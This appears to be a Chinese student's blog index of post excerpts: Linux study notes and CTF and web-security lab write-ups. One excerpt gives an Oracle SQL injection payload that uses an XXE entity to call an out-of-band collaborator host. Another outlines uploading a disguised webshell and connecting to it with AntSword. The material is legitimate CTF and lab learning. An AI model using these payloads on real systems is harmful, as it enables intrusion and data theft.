全站更新记录
经历了多次磨难的网站因我个人原因,原本25.11开始创建的网站被我折腾了两次整个站的重建 分别是26年2月以及今天——2026.6.22 我本来是准备期末考的,结果发现了一个有用的插件打算写篇博客上传,不小心把整个文件夹给改了,git找commit也找不到任何踪迹了 我好想哭,我的那些主题设置,我的壁纸,我的命令行全部没了 争取十点半前弄完吧,我还没有复习大物和离散啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊来不及了
韩顺平linux学习笔记
韩顺平linux学习笔记40 组linux系统权限是分给三个对象的: 所有者,所作组,其他组 哪里可以看到权限呢? 在linux中输入ls -l 具体图解权限介绍 第0位:l链接(类似于快捷方式) d目录 c 字符设备文件character device file(键盘,硬盘:按顺序一个一个读取) b 块设备文件block device file(u盘,硬盘sda:可不按顺序一块一块读取)->sda(sd:scsi disk a:顺序,可以也是bc…) -普通文件 第1-9位:三权限33对应,分别归属于user group other ->user的权限 group的权限 other的权限 详细字母对应权限: 12345r readw write deletex execute 执行/进入 可用数字代替: 简易记法:x1w2r4 1+2+4=7 即最高权限7 数字18文件:硬链接数 目录:子目录数+文件数 附加知识点:1.1 创建软连接ln -s=link symbolic(象征性的,快捷方式就是象征性的) 1ln -s /root/ m...
黑马linux学习笔记
黑马linux学习笔记 4.8 网络请求下载1.联通服务器ping:语法:ping [-c num] ip/主机名 选项-c:指定检查次数,不指定则作无数次 例子: 123ping -c 3 baidu.comping -c 3 39.156.66.10 2.下载文件wget:语法:wget [-b] url 选项-b: 后台下载。会将日志写入当前工作目录的wget-log文件 选项url:下载链接 例子: 1wget http://....... tail命令监控后台下载进度:tail -f(持续跟踪) wget-log 注意:无论下载是否完成都要写日志 3.网络请求curl语法:curl [-O] url 选项-: 用于下载文件,当url是下载链接时,可以使用此选项保存文件 选项url:要发起请求的网络地址 例子: 123curl cip.cccurl python.itheima.comcurl -O http://.... #通过culr下载安装包 4.9 端口1.概念虚拟端口:锁定计算机上特定程序(qq,wx…) 1.1 linux端口(...
NewStar CTF 2025 Week3-who'ssti
NewStar CTF 2025 Week3-who’ssti 提交你的代码,让后端看看你的厉害! 提交一下: 尝试调用到这些函数! fmean get_close_matches randint findall mean 看到题目ssti也看到了注入点,但是尝试一些模板注入的payload发现没用?为什么呢?因为flag不能被直接调用————详见源码第12行 尝试读源码,看看这些函数是不是一定要调用才能完成这道题目 1.源码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from flask import Flask, jsonify, request, render_template_string, render_templateimport sys, randomfunc_List =...
bp官网sql注入学习笔记
bp官网sql注入学习笔记https://portswigger.net/web-security/sql-injection/cheat-sheet 12Payload(特殊字符编码):TrackingId=tOd1M3PauSPFaqZQ'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//lrg2i6ohdaqaifqyhgeza0lxsoyfm5au.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual-- 1. 基础探测(验证是否存在注入) 数据库类型 核心语法 / 函数 代码示例(将 SUBDOMAIN 换成你的地址) Oracle extr...
BUUCTF 不一样的flag 1详细解析(未完成)
BUUCTF 不一样的flag 1详细解析迷宫!!!!!!!!!!!!! 好吧,一开始确实没看出来 题目提示: 是不是做习惯了常规的逆向题目?试试这道题,看你在能不能在程序中找到真正的flag!注意:flag并非是flag{XXX}形式,就是一个’字符串‘,考验眼力的时候到了! 注意:得到的 flag 请包上 flag{} 提交 0x02 ida查看并快速找到字符串步骤1.解压后,用ida打开,shift+f12快捷键字符串搜索,发现可疑字符串 2.双击字符串,有窗口跳出新界面, 鼠标点击黄色字体,再按下x,进行交叉搜索 跳出新窗口,点击ok查看 3.又进入新界面,按快捷键f5反汇编 即可查看字符串所在具体的代码 0x03 分析代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778int __cdecl __noretur...
【BUUCTF】[网鼎杯 2018]Comment题解
【BUUCTF】[网鼎杯 2018]Comment题解知识点:1.修复git源码git reset --hard传入指定的哈希值后,Git 会在底层同时修改三个区域的状态: HEAD 指针⟶暂存区 (Index)⟶工作区 (Working Directory) 底层操作链: 移动指针:将当前分支(master)和 HEAD 指针强行移动到 bfbdf218902476c5c6164beedd8d2fcf593ea23b 这个 Commit 对象上。 重置暂存区 (Index):清空当前的暂存区,将该 Commit 对象中记录的 Tree 对象(目录树快照)内容写入暂存区。 覆盖工作区 (Working Directory):(关键) Git 检查你当前操作系统下的物理磁盘文件夹(即 D:\official\githacker\...),删除不属于该版本的所有文件,并根据 Tree 对象中的 Blob(文件内容)在磁盘中真实解压并还原出所有的 PHP 源码文件。 题目:发帖点击后提示要登陆,密码后缀是666,登录即可 思路:源代码有提示,要去找找原来的git log,开发者做了...
NewStarCTF2025-Week4-Web-ssti在哪里?-ssrf与ssti注入
NewStarCTF2025-Week4-Web-ssti在哪里?-ssrf与ssti注入好久不见各位,笔者前段时间花了10天时间学习c++,备赛码蹄杯,所以很久没有产出。 此题还是之前做的,没写完笔记,于是乎,今日更新。 笔者大一小白一个,从未参加过这种竞赛,犯了规(蓝牙鼠标,提前在编译器写了快些快读代码) 本来也没写出几道题,还好没写出哈哈哈哈哈哈哈 进入正题: 知识点:1.flask的app.py启动文件 2.SSTI(Server-Side Template Injection,服务端模板注入)3.SOCK_STREAM指基于TCP协议、提供面向连接可靠数据传输的Socket类型,属于BSD Socket API的核心组件 [1]。 它通过socket()函数创建,需将type参数设为SOCK_STREAM,并常配合IPv4(AF_INET)或IPv6(AF_INET6)地址族使用,广泛应用于C语言网络编程中。 注意:TCP 通信要求每一行指令必须以 \r\n (也就是 %0d%0a) 结尾。需要处理最底层的换行符编码。 4.gopher 协议Gopher(网际Gophe...
NewStarCTF2025-Week4-Web 武功秘籍
NewStarCTF2025-Week4-Web 武功秘籍知识点:1.CVE(Common Vulnerablilities and Exposures) CMS(content management system) exp:一开始进去是个网站 有很多图片木马上传点,我选择新闻上传,会发现新闻内容里面的图片无法上传,但是可以看到上传页面的有其他图片上传点 1.塞个木马图,抓包改后缀,蚁剑连接 系统管理下数据库管理里面找到木马图片 但是蚁剑连接返回为空 使用disable_functions也不行,因为要求题目是Linux系统 那就重新上传木马直接看phpinfo吧 查看 找到flag,在env里面